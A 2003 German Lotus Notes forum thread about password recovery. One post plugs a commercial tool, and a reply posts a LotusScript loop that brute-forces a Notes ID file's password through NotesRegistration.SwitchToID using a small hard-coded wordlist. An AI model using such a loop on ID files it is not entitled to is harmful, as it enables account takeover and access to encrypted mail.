Das Notes Forum
Sonstiges => Offtopic => Thema gestartet von: Meff am 17.06.03 - 06:11:00
-
Hallo Forum,
kennt Ihr schon "Lotus Notes Key" ? Das ist ein Tool, mittels welchem man verloren gegangene Passwörter wieder recovern kann. Das Ding kostet 95 $ und ist hier zu finden :
http://www.lostpassword.com/lotus-notes.htm
Ihr findet dort übrigends Tools zum Passwordrecovern für verschiedene Produkte (Outlook, Office, etc.)
Meff
-
Recovers passwords using combination of Brute-Force, Xieve™ or Dictionary attacks
Das kann sich ja nur um Jahre handeln wenn das Passwort gut ist. Und das kann man auch selber bauen.
Per Zufall habe ich eine Möglichkeit gefunden, eine Brutforce-Attack auf eine Notes-ID zu starten. Ich wußte gar nicht, dass dies mit Notes eigenen Mitteln so einfach ist.
Dabei verwendet man einfach aus der Klasse "Registration" die Methode "Call notesRegistration.SwitchToID( idfile$ , userpw$ )".
Hier ist ein kleines Beispiel:
Sub Initialize
Dim reg As New NotesRegistration
Dim UserName As String
Dim password(1 To 7) As String
password(1)="Test"
password(2)="Test2"
password(3)="Test3"
password(4)="Test3"
password(5)="Test4"
password(6)="Test5"
password(7)="password"
On Error Resume Next
For i=1 To 7
UserName = reg.SwitchToID( "c:\tschoene.id", password(i))
Print password(i)
If UserName <> ""Then
Msgbox Username
Msgbox "Kennwort lautet " + password(i)
Exit Sub
End If
Next i
End Sub